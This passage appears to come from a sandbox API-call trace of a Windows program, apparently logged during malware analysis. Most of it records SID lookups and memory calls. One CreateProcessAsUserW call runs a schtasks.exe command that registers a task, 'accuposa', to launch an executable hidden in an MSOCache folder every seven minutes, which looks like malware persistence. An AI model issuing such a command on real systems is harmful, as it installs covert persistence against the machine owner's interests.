LookupAccountSidW (in: lpSystemName=0x0, Sid=0x196ef0d0c20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), Name=0x196ef0f9d00, cchName=0x67117c600, ReferencedDomainName=0x196ef0d1d80, cchReferencedDomainName=0x67117c668, peUse=0x67117c6f8 | out: Name="RDhJ0CNFevzX", cchName=0x67117c600, ReferencedDomainName="XC64ZB", cchReferencedDomainName=0x67117c668, peUse=0x67117c6f8) returned 1 [0122.177] malloc (_Size=0x18) returned 0x196ef0d1ac0 [0122.177] malloc (_Size=0x18) returned 0x196ef0d1ea0 [0122.177] free (_Block=0x196ef0f9d00) [0122.177] free (_Block=0x196ef0d1d80) [0122.177] free (_Block=0x196ef0f9dc0) [0122.178] free (_Block=0x196ef0d1ea0) [0122.178] free (_Block=0x196ef0d1ac0) [0122.178] free (_Block=0x196ef0d1d20) [0122.178] free (_Block=0x196ef0d0c10) [0122.178] GetVersionExW (in: lpVersionInformation=0x67117c8d0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0xee7b29f8, dwBuildNumber=0x196, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x67117c8d0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0122.178] GetTokenInformation (in: TokenHandle=0x26c, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x67117c740 | out: TokenInformation=0x0, ReturnLength=0x67117c740) returned 0 [0122.178] GetLastError () returned 0x7a [0122.178] malloc (_Size=0x2c) returned 0x196ef0d0f50 [0122.179] GetTokenInformation (in: TokenHandle=0x26c, TokenInformationClass=0x1, TokenInformation=0x196ef0d0f50, TokenInformationLength=0x2c, ReturnLength=0x67117c740 | out: TokenInformation=0x196ef0d0f50, ReturnLength=0x67117c740) returned 1 [0122.179] IsValidSid (pSid=0x196ef0d0f60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 1 [0122.179] GetLengthSid (pSid=0x196ef0d0f60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 0x1c [0122.179] malloc (_Size=0x1c) returned 0x196ef0fa120 [0122.179] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0x196ef0fa120, pSourceSid=0x196ef0d0f60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)) | out: pDestinationSid=0x196ef0fa120*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 1 [0122.179] GetSidIdentifierAuthority (pSid=0x196ef0d0f60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 0x196ef0d0f62 [0122.179] malloc (_Size=0x18) returned 0x196ef0d1fa0 [0122.179] _ultow (in: _Dest=0x5, _Radix=1897383216 | out: _Dest=0x5) returned="5" [0122.179] malloc (_Size=0x18) returned 0x196ef0d1c20 [0122.179] malloc (_Size=0x18) returned 0x196ef0d1be0 [0122.179] SysStringLen (param_1="S-1-") returned 0x4 [0122.179] SysStringLen (param_1="5") returned 0x1 [0122.179] memcpy (in: _Dst=0x196ee7aab38, _Src=0x196ee7aa9e8, _Size=0xa | out: _Dst=0x196ee7aab38) returned 0x196ee7aab38 [0122.179] memcpy (in: _Dst=0x196ee7aab40, _Src=0x196ee7c7558, _Size=0x4 | out: _Dst=0x196ee7aab40) returned 0x196ee7aab40 [0122.179] free (_Block=0x196ef0d1fa0) [0122.179] free (_Block=0x196ef0d1c20) [0122.179] GetSidSubAuthorityCount (pSid=0x196ef0d0f60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 0x196ef0d0f61 [0122.179] GetSidSubAuthority (pSid=0x196ef0d0f60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x0) returned 0x196ef0d0f68 [0122.179] _ultow (in: _Dest=0x15, _Radix=1897383216 | out: _Dest=0x15) returned="21" [0122.179] malloc (_Size=0x18) returned 0x196ef0d1a20 [0122.179] malloc (_Size=0x18) returned 0x196ef0d1a60 [0122.180] SysStringLen (param_1="S-1-5") returned 0x5 [0122.180] SysStringLen (param_1="-") returned 0x1 [0122.180] memcpy (in: _Dst=0x196ee7c7558, _Src=0x196ee7aab38, _Size=0xc | out: _Dst=0x196ee7c7558) returned 0x196ee7c7558 [0122.180] memcpy (in: _Dst=0x196ee7c7562, _Src=0x196ee7aa9e8, _Size=0x4 | out: _Dst=0x196ee7c7562) returned 0x196ee7c7562 [0122.180] free (_Block=0x196ef0d1be0) [0122.180] free (_Block=0x196ef0d1a20) [0122.180] malloc (_Size=0x18) returned 0x196ef0d1fa0 [0122.180] malloc (_Size=0x18) returned 0x196ef0d1ca0 [0122.180] SysStringLen (param_1="S-1-5-") returned 0x6 [0122.180] SysStringLen (param_1="21") returned 0x2 [0122.180] memcpy (in: _Dst=0x196ee7aa9e8, _Src=0x196ee7c7558, _Size=0xe | out: _Dst=0x196ee7aa9e8) returned 0x196ee7aa9e8 [0122.180] memcpy (in: _Dst=0x196ee7aa9f4, _Src=0x196ee7aab38, _Size=0x6 | out: _Dst=0x196ee7aa9f4) returned 0x196ee7aa9f4 [0122.180] free (_Block=0x196ef0d1a60) [0122.180] free (_Block=0x196ef0d1fa0) [0122.180] GetSidSubAuthority (pSid=0x196ef0d0f60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x1) returned 0x196ef0d0f6c [0122.180] _ultow (in: _Dest=0x5cffa865, _Radix=1897383216 | out: _Dest=0x5cffa865) returned="1560258661" [0122.180] malloc (_Size=0x18) returned 0x196ef0d1be0 [0122.180] malloc (_Size=0x18) returned 0x196ef0d1e60 [0122.180] SysStringLen (param_1="S-1-5-21") returned 0x8 [0122.180] SysStringLen (param_1="-") returned 0x1 [0122.180] memcpy (in: _Dst=0x196ee7aab38, _Src=0x196ee7aa9e8, _Size=0x12 | out: _Dst=0x196ee7aab38) returned 0x196ee7aab38 [0122.181] memcpy (in: _Dst=0x196ee7aab48, _Src=0x196ee7c7558, _Size=0x4 | out: _Dst=0x196ee7aab48) returned 0x196ee7aab48 [0122.181] free (_Block=0x196ef0d1ca0) [0122.181] free (_Block=0x196ef0d1be0) [0122.181] malloc (_Size=0x18) returned 0x196ef0d1e80 [0122.181] malloc (_Size=0x18) returned 0x196ef0d1a60 [0122.181] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0122.181] SysStringLen (param_1="1560258661") returned 0xa [0122.181] memcpy (in: _Dst=0x196ee777c08, _Src=0x196ee7aab38, _Size=0x14 | out: _Dst=0x196ee777c08) returned 0x196ee777c08 [0122.181] memcpy (in: _Dst=0x196ee777c1a, _Src=0x196ee7aa9e8, _Size=0x16 | out: _Dst=0x196ee777c1a) returned 0x196ee777c1a [0122.181] free (_Block=0x196ef0d1e60) [0122.181] free (_Block=0x196ef0d1e80) [0122.181] GetSidSubAuthority (pSid=0x196ef0d0f60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x2) returned 0x196ef0d0f70 [0122.181] _ultow (in: _Dest=0xeddecfcf, _Radix=1897383216 | out: _Dest=0xeddecfcf) returned="3990802383" [0122.181] malloc (_Size=0x18) returned 0x196ef0d1a20 [0122.181] malloc (_Size=0x18) returned 0x196ef0d1d20 [0122.181] SysStringLen (param_1="S-1-5-21-1560258661") returned 0x13 [0122.181] SysStringLen (param_1="-") returned 0x1 [0122.181] memcpy (in: _Dst=0x196ee777758, _Src=0x196ee777c08, _Size=0x28 | out: _Dst=0x196ee777758) returned 0x196ee777758 [0122.181] memcpy (in: _Dst=0x196ee77777e, _Src=0x196ee7aab38, _Size=0x4 | out: _Dst=0x196ee77777e) returned 0x196ee77777e [0122.181] free (_Block=0x196ef0d1a60) [0122.182] free (_Block=0x196ef0d1a20) [0122.182] malloc (_Size=0x18) returned 0x196ef0d1a20 [0122.182] malloc (_Size=0x18) returned 0x196ef0d1ba0 [0122.182] SysStringLen (param_1="S-1-5-21-1560258661-") returned 0x14 [0122.182] SysStringLen (param_1="3990802383") returned 0xa [0122.182] memcpy (in: _Dst=0x196ee7b9bf8, _Src=0x196ee777758, _Size=0x2a | out: _Dst=0x196ee7b9bf8) returned 0x196ee7b9bf8 [0122.182] memcpy (in: _Dst=0x196ee7b9c20, _Src=0x196ee7aab38, _Size=0x16 | out: _Dst=0x196ee7b9c20) returned 0x196ee7b9c20 [0122.182] free (_Block=0x196ef0d1d20) [0122.182] free (_Block=0x196ef0d1a20) [0122.182] GetSidSubAuthority (pSid=0x196ef0d0f60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x3) returned 0x196ef0d0f74 [0122.182] _ultow (in: _Dest=0x6bfcce57, _Radix=1897383216 | out: _Dest=0x6bfcce57) returned="1811730007" [0122.182] malloc (_Size=0x18) returned 0x196ef0d1aa0 [0122.182] malloc (_Size=0x18) returned 0x196ef0d1f20 [0122.182] SysStringLen (param_1="S-1-5-21-1560258661-3990802383") returned 0x1e [0122.182] SysStringLen (param_1="-") returned 0x1 [0122.182] memcpy (in: _Dst=0x196ee7aade8, _Src=0x196ee7b9bf8, _Size=0x3e | out: _Dst=0x196ee7aade8) returned 0x196ee7aade8 [0122.182] memcpy (in: _Dst=0x196ee7aae24, _Src=0x196ee7aab38, _Size=0x4 | out: _Dst=0x196ee7aae24) returned 0x196ee7aae24 [0122.182] free (_Block=0x196ef0d1ba0) [0122.182] free (_Block=0x196ef0d1aa0) [0122.182] malloc (_Size=0x18) returned 0x196ef0d1d40 [0122.183] malloc (_Size=0x18) returned 0x196ef0d1a80 [0122.183] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-") returned 0x1f [0122.183] SysStringLen (param_1="1811730007") returned 0xa [0122.183] memcpy (in: _Dst=0x196ee7b9bf8, _Src=0x196ee7aade8, _Size=0x40 | out: _Dst=0x196ee7b9bf8) returned 0x196ee7b9bf8 [0122.183] memcpy (in: _Dst=0x196ee7b9c36, _Src=0x196ee7aab38, _Size=0x16 | out: _Dst=0x196ee7b9c36) returned 0x196ee7b9c36 [0122.183] free (_Block=0x196ef0d1f20) [0122.183] free (_Block=0x196ef0d1d40) [0122.183] GetSidSubAuthority (pSid=0x196ef0d0f60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x4) returned 0x196ef0d0f78 [0122.183] _ultow (in: _Dest=0x3e8, _Radix=1897383216 | out: _Dest=0x3e8) returned="1000" [0122.183] malloc (_Size=0x18) returned 0x196ef0d1c00 [0122.183] malloc (_Size=0x18) returned 0x196ef0d1f00 [0122.183] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-1811730007") returned 0x29 [0122.183] SysStringLen (param_1="-") returned 0x1 [0122.183] memcpy (in: _Dst=0x196ee7aade8, _Src=0x196ee7b9bf8, _Size=0x54 | out: _Dst=0x196ee7aade8) returned 0x196ee7aade8 [0122.183] memcpy (in: _Dst=0x196ee7aae3a, _Src=0x196ee7aab38, _Size=0x4 | out: _Dst=0x196ee7aae3a) returned 0x196ee7aae3a [0122.183] free (_Block=0x196ef0d1a80) [0122.183] free (_Block=0x196ef0d1c00) [0122.183] malloc (_Size=0x18) returned 0x196ef0d1ba0 [0122.183] malloc (_Size=0x18) returned 0x196ef0d1a80 [0122.183] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-1811730007-") returned 0x2a [0122.184] SysStringLen (param_1="1000") returned 0x4 [0122.184] memcpy (in: _Dst=0x196ee7b9bf8, _Src=0x196ee7aade8, _Size=0x56 | out: _Dst=0x196ee7b9bf8) returned 0x196ee7b9bf8 [0122.184] memcpy (in: _Dst=0x196ee7b9c4c, _Src=0x196ee7aab38, _Size=0xa | out: _Dst=0x196ee7b9c4c) returned 0x196ee7b9c4c [0122.184] free (_Block=0x196ef0d1f00) [0122.192] free (_Block=0x196ef0d1ba0) [0122.192] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-1811730007-1000") returned 0x2e [0122.192] malloc (_Size=0x5e) returned 0x196ef0d0370 [0122.192] free (_Block=0x196ef0d1a80) [0122.192] malloc (_Size=0x18) returned 0x196ef0d1a20 [0122.193] free (_Block=0x196ef0d0370) [0122.193] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x196ef0d0f60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), Name=0x0, cchName=0x67117c600, ReferencedDomainName=0x0, cchReferencedDomainName=0x67117c668, peUse=0x67117c6f0 | out: Name=0x0, cchName=0x67117c600, ReferencedDomainName=0x0, cchReferencedDomainName=0x67117c668, peUse=0x67117c6f0) returned 0 [0122.194] GetLastError () returned 0x7a [0122.194] malloc (_Size=0x1a) returned 0x196ef0f9d60 [0122.194] malloc (_Size=0xe) returned 0x196ef0d1f20 [0122.194] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x196ef0d0f60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), Name=0x196ef0f9d60, cchName=0x67117c600, ReferencedDomainName=0x196ef0d1f20, cchReferencedDomainName=0x67117c668, peUse=0x67117c6f0 | out: Name="RDhJ0CNFevzX", cchName=0x67117c600, ReferencedDomainName="XC64ZB", cchReferencedDomainName=0x67117c668, peUse=0x67117c6f0) returned 1 [0122.195] malloc (_Size=0x18) returned 0x196ef0d2080 [0122.195] malloc (_Size=0x18) returned 0x196ef0d1ec0 [0122.195] free (_Block=0x196ef0f9d60) [0122.195] free (_Block=0x196ef0d1f20) [0122.195] free (_Block=0x196ef0fa120) [0122.195] free (_Block=0x196ef0d1ec0) [0122.195] free (_Block=0x196ef0d2080) [0122.196] free (_Block=0x196ef0d1a20) [0122.196] free (_Block=0x196ef0d0f50) [0122.197] SetEvent (hEvent=0x248) returned 1 [0122.197] free (_Block=0x196ef0cd160) [0122.197] CreateEnvironmentBlock () returned 0x1 [0122.205] malloc (_Size=0x18) returned 0x196ef0d1fe0 [0122.205] CreateProcessAsUserW (in: hToken=0x270, lpApplicationName=0x0, lpCommandLine="schtasks.exe /create /tn \"accuposa\" /sc MINUTE /mo 7 /tr \"'C:\\MSOCache\\All Users\\{90160000-001A-0409-1000-0000000FF1CE}-C\\accupos.exe'\" /f", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x1000428, lpEnvironment=0x196ef1f3020, lpCurrentDirectory=0x0, lpStartupInfo=0x67117c860*(cb=0x68, lpReserved=0x0, lpDesktop="", lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x5, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x67117c708 | out: lpCommandLine="schtasks.exe /create /tn \"accuposa\" /sc MINUTE /mo 7 /tr \"'C:\\MSOCache\\All Users\\{90160000-001A-0409-1000-0000000FF1CE}-C\\accupos.exe'\" /f", lpProcessInformation=0x67117c708*(hProcess=0x260, hThread=0x264, dwProcessId=0x1238, dwThreadId=0x1354)) returned 1 [0122.213] CloseHandle (hObject=0x260) returned 1 [0122.213] CloseHandle (hObject=0x264) returned 1 [0122.214] free (_Block=0x196ef0d1fe0) [0122.214] DestroyEnvironmentBlock () returned 0x1 [0122.214] malloc (_Size=0x48) returned 0x196ef0cc850 [0122.214] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117c6e0 | out: lpSystemTimeAsFileTime=0x67117c6e0*(dwLowDateTime=0x29b21152, dwHighDateTime=0x1d9eb0c)) [0122.214] SetEvent (hEvent=0x248) returned 1 [0122.214] CloseHandle (hObject=0x26c) returned 1 [0122.215] CloseHandle (hObject=0x270) returned 1 [0122.236] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x4) returned 0x196ee788330 [0122.236] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x196ee788330, pulNumLanguages=0x67117dfe0 | out: pulNumLanguages=0x67117dfe0) returned 1 [0122.237] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee788330) returned 1 [0122.237] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee788350) returned 1 [0123.014] RtlRestoreLastWin32Error () returned 0x670dbf000 [0123.014] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0x67117df18, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0x67117de10 | out: pulNumLanguages=0x67117df18, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0x67117de10) returned 1 [0123.014] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x8) returned 0x196ee788330 [0123.014] RtlRestoreLastWin32Error () returned 0x670dbf000 [0123.014] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0x67117df18, pwszLanguagesBuffer=0x196ee788330, pcchLanguagesBuffer=0x67117de10 | out: pulNumLanguages=0x67117df18, pwszLanguagesBuffer=0x196ee788330, pcchLanguagesBuffer=0x67117de10) returned 1 [0123.015] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x8) returned 0x196ee788350 [0123.015] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee788330) returned 1 [0123.015] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x14) returned 0x196ee7a7d80 [0123.015] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x196ee7a7d80, pulNumLanguages=0x67117df18 | out: pulNumLanguages=0x67117df18) returned 1 [0123.015] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee7a7d80) returned 1 [0123.017] _wcsicmp (_String1="Create", _String2="Create") returned 0 [0123.017] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0123.018] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0123.018] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0123.018] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0123.020] GetCurrentThread () returned 0xfffffffffffffffe [0123.020] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0xb, OpenAsSelf=1, TokenHandle=0x67117c7a0 | out: TokenHandle=0x67117c7a0*=0x270) returned 1 [0123.020] DuplicateTokenEx (in: hExistingToken=0x270, dwDesiredAccess=0xb, lpTokenAttributes=0x0, ImpersonationLevel=0x2, TokenType=0x19600000001, phNewToken=0x67117c7b8 | out: phNewToken=0x67117c7b8*=0x26c) returned 1 [0123.020] GetTokenInformation (in: TokenHandle=0x270, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x67117c740 | out: TokenInformation=0x0, ReturnLength=0x67117c740) returned 0 [0123.020] GetLastError () returned 0x7a [0123.020] malloc (_Size=0x2c) returned 0x196ef0d0c10 [0123.020] GetTokenInformation (in: TokenHandle=0x270, TokenInformationClass=0x1, TokenInformation=0x196ef0d0c10, TokenInformationLength=0x2c, ReturnLength=0x67117c740 | out: TokenInformation=0x196ef0d0c10, ReturnLength=0x67117c740) returned 1 [0123.020] IsValidSid (pSid=0x196ef0d0c20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 1 [0123.020] GetLengthSid (pSid=0x196ef0d0c20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 0x1c [0123.020] malloc (_Size=0x1c) returned 0x196ef0f9b80 [0123.021] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0x196ef0f9b80, pSourceSid=0x196ef0d0c20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)) | out: pDestinationSid=0x196ef0f9b80*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 1 [0123.021] GetSidIdentifierAuthority (pSid=0x196ef0d0c20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 0x196ef0d0c22 [0123.021] malloc (_Size=0x18) returned 0x196ef0d1f40 [0123.021] _ultow (in: _Dest=0x5, _Radix=1897383216 | out: _Dest=0x5) returned="5" [0123.021] malloc (_Size=0x18) returned 0x196ef0d1a40 [0123.021] malloc (_Size=0x18) returned 0x196ef0d2060 [0123.021] SysStringLen (param_1="S-1-") returned 0x4 [0123.021] SysStringLen (param_1="5") returned 0x1 [0123.021] memcpy (in: _Dst=0x196ee7c7678, _Src=0x196ee7c7078, _Size=0xa | out: _Dst=0x196ee7c7678) returned 0x196ee7c7678 [0123.021] memcpy (in: _Dst=0x196ee7c7680, _Src=0x196ee7aa688, _Size=0x4 | out: _Dst=0x196ee7c7680) returned 0x196ee7c7680 [0123.021] free (_Block=0x196ef0d1f40) [0123.021] free (_Block=0x196ef0d1a40) [0123.021] GetSidSubAuthorityCount (pSid=0x196ef0d0c20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 0x196ef0d0c21 [0123.021] GetSidSubAuthority (pSid=0x196ef0d0c20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x0) returned 0x196ef0d0c28 [0123.021] _ultow (in: _Dest=0x15, _Radix=1897383216 | out: _Dest=0x15) returned="21" [0123.021] malloc (_Size=0x18) returned 0x196ef0d1ec0 [0123.021] malloc (_Size=0x18) returned 0x196ef0d1b40 [0123.021] SysStringLen (param_1="S-1-5") returned 0x5 [0123.021] SysStringLen (param_1="-") returned 0x1 [0123.021] memcpy (in: _Dst=0x196ee7aa688, _Src=0x196ee7c7678, _Size=0xc | out: _Dst=0x196ee7aa688) returned 0x196ee7aa688 [0123.021] memcpy (in: _Dst=0x196ee7aa692, _Src=0x196ee7c7078, _Size=0x4 | out: _Dst=0x196ee7aa692) returned 0x196ee7aa692 [0123.021] free (_Block=0x196ef0d2060) [0123.021] free (_Block=0x196ef0d1ec0) [0123.021] malloc (_Size=0x18) returned 0x196ef0d1e20 [0123.022] malloc (_Size=0x18) returned 0x196ef0d1cc0 [0123.022] SysStringLen (param_1="S-1-5-") returned 0x6 [0123.022] SysStringLen (param_1="21") returned 0x2 [0123.022] memcpy (in: _Dst=0x196ee7c7078, _Src=0x196ee7aa688, _Size=0xe | out: _Dst=0x196ee7c7078) returned 0x196ee7c7078 [0123.022] memcpy (in: _Dst=0x196ee7c7084, _Src=0x196ee7c7678, _Size=0x6 | out: _Dst=0x196ee7c7084) returned 0x196ee7c7084 [0123.022] free (_Block=0x196ef0d1b40) [0123.022] free (_Block=0x196ef0d1e20) [0123.022] GetSidSubAuthority (pSid=0x196ef0d0c20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x1) returned 0x196ef0d0c2c [0123.022] _ultow (in: _Dest=0x5cffa865, _Radix=1897383216 | out: _Dest=0x5cffa865) returned="1560258661" [0123.022] malloc (_Size=0x18) returned 0x196ef0d1ba0 [0123.022] malloc (_Size=0x18) returned 0x196ef0d1ce0 [0123.022] SysStringLen (param_1="S-1-5-21") returned 0x8 [0123.022] SysStringLen (param_1="-") returned 0x1 [0123.022] memcpy (in: _Dst=0x196ee7c7678, _Src=0x196ee7c7078, _Size=0x12 | out: _Dst=0x196ee7c7678) returned 0x196ee7c7678 [0123.022] memcpy (in: _Dst=0x196ee7c7688, _Src=0x196ee7aa688, _Size=0x4 | out: _Dst=0x196ee7c7688) returned 0x196ee7c7688 [0123.022] free (_Block=0x196ef0d1cc0) [0123.022] free (_Block=0x196ef0d1ba0) [0123.022] malloc (_Size=0x18) returned 0x196ef0d2000 [0123.022] malloc (_Size=0x18) returned 0x196ef0d1f60 [0123.022] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0123.022] SysStringLen (param_1="1560258661") returned 0xa [0123.022] memcpy (in: _Dst=0x196ee777d48, _Src=0x196ee7c7678, _Size=0x14 | out: _Dst=0x196ee777d48) returned 0x196ee777d48 [0123.022] memcpy (in: _Dst=0x196ee777d5a, _Src=0x196ee7c7078, _Size=0x16 | out: _Dst=0x196ee777d5a) returned 0x196ee777d5a [0123.022] free (_Block=0x196ef0d1ce0) [0123.023] free (_Block=0x196ef0d2000) [0123.023] GetSidSubAuthority (pSid=0x196ef0d0c20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x2) returned 0x196ef0d0c30 [0123.023] _ultow (in: _Dest=0xeddecfcf, _Radix=1897383216 | out: _Dest=0xeddecfcf) returned="3990802383" [0123.023] malloc (_Size=0x18) returned 0x196ef0d1980 [0123.023] malloc (_Size=0x18) returned 0x196ef0d1ac0 [0123.023] SysStringLen (param_1="S-1-5-21-1560258661") returned 0x13 [0123.023] SysStringLen (param_1="-") returned 0x1 [0123.023] memcpy (in: _Dst=0x196ee777bb8, _Src=0x196ee777d48, _Size=0x28 | out: _Dst=0x196ee777bb8) returned 0x196ee777bb8 [0123.023] memcpy (in: _Dst=0x196ee777bde, _Src=0x196ee7c7678, _Size=0x4 | out: _Dst=0x196ee777bde) returned 0x196ee777bde [0123.023] free (_Block=0x196ef0d1f60) 